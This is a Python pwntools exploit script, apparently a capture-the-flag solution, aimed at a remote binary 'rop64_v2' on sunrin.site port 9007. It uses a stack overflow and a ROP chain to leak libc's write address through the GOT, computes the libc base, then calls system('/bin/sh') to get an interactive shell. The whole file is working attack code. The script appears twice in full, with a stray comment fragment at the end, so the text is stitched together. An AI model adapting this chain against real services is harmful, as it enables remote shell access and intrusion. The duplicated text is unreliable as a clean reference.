from pwn import *

context.log_level = 'debug'

#e = ELF('./leak_libc')
#p = process('./leak_libc')

e = ELF('./rop64_v2')
p = remote("sunrin.site", 9007)
libc = ELF('./libc.so.6')

prdi = 0x00000000004005f3
prsir15 = 0x00000000004005f1
pppret = 0x080486b9

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(1)
payload += p64(prsir15)
payload += p64(e.got['write'])
payload += 'A' * 8
payload += p64(e.plt['write'])
payload += p64(e.sym['main'])

p.sendlineafter("World\n", payload)

_write = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
base = _write - libc.symbols['write']
system = base + libc.sym['system']
binsh = base + libc.search("/bin/sh\x00").next()

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.interactive()
from pwn import *

context.log_level = 'debug'

#e = ELF('./leak_libc')
#p = process('./leak_libc')

e = ELF('./rop64_v2')
p = remote("sunrin.site", 9007)
libc = ELF('./libc.so.6')

prdi = 0x00000000004005f3
prsir15 = 0x00000000004005f1
pppret = 0x080486b9

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(1)
payload += p64(prsir15)
payload += p64(e.got['write'])
payload += 'A' * 8
payload += p64(e.plt['write'])
payload += p64(e.sym['main'])

p.sendlineafter("World\n", payload)

_write = u64(p.recvuntil('\x7f').ljust(8, '\x00'))
base = _write - libc.symbols['write']
system = base + libc.sym['system']
binsh = base + libc.search("/bin/sh\x00").next()

payload = 'A' * (0x10 + 8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.interactive()
#e = ELF('./leak_libc') #p = process('./leak_libc')